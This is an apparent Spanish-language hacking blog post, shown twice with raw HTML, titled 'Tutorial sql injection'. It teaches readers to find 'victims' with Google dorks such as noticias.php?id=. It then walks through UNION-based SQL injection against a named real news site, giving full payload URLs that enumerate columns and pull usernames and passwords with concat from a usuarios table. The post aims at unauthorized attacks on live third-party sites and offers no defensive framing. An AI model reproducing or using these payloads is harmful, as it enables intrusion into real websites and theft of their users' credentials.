Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy bueno<br />se me fue la luz<br />y no guardo pero hice este espero ser especifico en todo<br /><br />....<br /><br />Bueno are un ejemplo mas facil para que entiendan bien este tutorial!!! de mi brother Zero Bits<br /><br />Primero que todo saludos a los hackxCrack<br />y principalmente a mi team Venezuela [R00t] Team<br />Je bueno vi que algunas personas no entendieron el tutorial de mi bro se los explicare<br /><br />Primero que todo busquemos una victima<br /><br />Yo la buscare alazar...<br />Vamos a google colocamos<br /> noticias.php?id= notas.php?id= videos.php?id= etc...<br /><div style="text-align: center;"><img alt="" border="0" src="http://img18.imageshack.us/img18/4124/81141265.jpg" style="width: 510px; height: 156px;" /><br /></div><br />nos saldran varias paginas en mi caso les pondre una de ejemplo =)<br /><br />Bueno despues que entren a una de ellas<br /><br />en mi caso consegui esta<br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a><br /><br />a lo ultimo para ver si es vulnerable ponemos el '<br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a>'<br /><br />Nos saldra el siguiente error si es vulnerable<br /><img alt="" border="0" src="http://img7.imageshack.us/img7/7076/53738052.jpg" /><br /><br />si nos sale ese error quitamos el ' y agregamos lo siguiente:<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9</a><br /><br />Asi hasta que nos tire los numeros en mi caso me tiro<br /><br /><img alt="" border="0" src="http://img7.imageshack.us/img7/9345/97131128.jpg" /><br />les quedaria algo asi como en la imagen <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif" /><br /><br />a uds les podria tirar 1 2 3 4 5 6 7 etc... jejeje por hay es donde sacaremos el user! y la pass!<br /><br />Luego de esto vamos a lo ultimo y colocamos +from+usuarios<br />o usuario o email emails mails mail etc...<br /><br />a mi me quedo asi <a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br /><br />Luego saquemos usuario y pass<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br />Se dan cuenta que cambie el 1 por usuario?<br />Bueno eso lo hago para que me tire el usuario luego se daran cuenta que les saldra el usuario =)<br /><br />Para sacar la pass quitamos usuario y ponemos lo siguiente<br />concat(usuario,0x3a3a,pass)<br /><br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat</a> (usuario,0x3a3a,pass),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios<br /><br />Si con pass no les agarra intenten con password o clave , contraseña , claves etc....<br /><br />aca nos dara pass y user <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif" />

Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy bueno se me fue la luz y no guardo pero hice este espero ser especifico en todo .... Bueno are un ej...

Leer más »

Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy bueno<br />se me fue la luz<br />y no guardo pero hice este espero ser especifico en todo<br /><br />....<br /><br />Bueno are un ejemplo mas facil para que entiendan bien este tutorial!!! de mi brother Zero Bits<br /><br />Primero que todo saludos a los hackxCrack<br />y principalmente a mi team Venezuela [R00t] Team<br />Je bueno vi que algunas personas no entendieron el tutorial de mi bro se los explicare<br /><br />Primero que todo busquemos una victima<br /><br />Yo la buscare alazar...<br />Vamos a google colocamos<br /> noticias.php?id= notas.php?id= videos.php?id= etc...<br /><div style="text-align: center;"><img alt="" border="0" src="http://img18.imageshack.us/img18/4124/81141265.jpg" style="width: 510px; height: 156px;"><br /></div><br />nos saldran varias paginas en mi caso les pondre una de ejemplo =)<br /><br />Bueno despues que entren a una de ellas<br /><br />en mi caso consegui esta<br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a><br /><br />a lo ultimo para ver si es vulnerable ponemos el '<br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a>'<br /><br />Nos saldra el siguiente error si es vulnerable<br /><img alt="" border="0" src="http://img7.imageshack.us/img7/7076/53738052.jpg"><br /><br />si nos sale ese error quitamos el ' y agregamos lo siguiente:<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9</a><br /><br />Asi hasta que nos tire los numeros en mi caso me tiro<br /><br /><img alt="" border="0" src="http://img7.imageshack.us/img7/9345/97131128.jpg"><br />les quedaria algo asi como en la imagen <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif"><br /><br />a uds les podria tirar 1 2 3 4 5 6 7 etc... jejeje por hay es donde sacaremos el user! y la pass!<br /><br />Luego de esto vamos a lo ultimo y colocamos +from+usuarios<br />o usuario o email emails mails mail etc...<br /><br />a mi me quedo asi <a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br /><br />Luego saquemos usuario y pass<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br />Se dan cuenta que cambie el 1 por usuario?<br />Bueno eso lo hago para que me tire el usuario luego se daran cuenta que les saldra el usuario =)<br /><br />Para sacar la pass quitamos usuario y ponemos lo siguiente<br />concat(usuario,0x3a3a,pass)<br /><br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat</a> (usuario,0x3a3a,pass),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios<br /><br />Si con pass no les agarra intenten con password o clave , contraseña , claves etc....<br /><br />aca nos dara pass y user <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif">

Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy bueno se me fue la luz y no guardo pero hice este espero ser especifico en todo .... Bueno are un ej...

Leer más »